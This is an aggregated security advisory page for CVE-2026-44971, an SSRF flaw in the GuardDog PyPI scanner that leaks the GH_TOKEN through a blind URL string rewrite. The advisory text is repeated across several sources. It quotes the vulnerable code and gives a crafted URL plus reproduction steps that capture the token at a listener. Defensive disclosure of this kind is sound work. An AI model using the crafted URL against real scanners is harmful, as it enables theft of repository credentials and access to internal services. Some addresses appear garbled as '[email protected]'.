Every CVE Search/ Get API key

CVE-2026-44971

GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

8.2 High

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.24%Up 0.2 points since May 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Record
CVE-2026-44971
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-32535 8.2

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Record
EUVD-2026-32535
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-587r-mc96-6f2p 8.2

GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

  • theft of the GitHub PAT configured in GH_TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Record
GHSA-587r-mc96-6f2p
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 8.2

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Record
CVE-2026-44971
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 8.2

GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Record
CVE-2026-44971
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-587r-mc96-6f2p 8.2

GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

  • theft of the GitHub PAT configured in GH_TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Record
GHSA-587r-mc96-6f2p
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVPYSEC-2026-2505 8.2

GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

  • theft of the GitHub PAT configured in GH_TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Record
PYSEC-2026-2505
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
guarddog
PyPI
1.0.0 to 2.9.0 None known
guarddog
PyPI
1.0.0 to 2.9.0, plus listed versions
1.0.11.0.21.1.01.1.11.1.2
Show 42 moreShow less
1.1.31.1.41.10.01.10.11.11.01.11.11.11.21.21.2.11.3.01.4.01.5.01.5.11.5.21.5.31.5.41.5.51.5.61.5.71.5.81.6.01.7.01.8.01.8.11.8.21.9.02.0.02.0.12.0.22.0.32.0.42.0.52.0.62.1.02.2.02.3.02.4.02.5.02.6.02.7.02.7.12.8.4
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44971 is a high vulnerability (CVSS 8.2) in Datadog Guarddog, published May 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. No source names a fixed version.

References

MoveEnter Open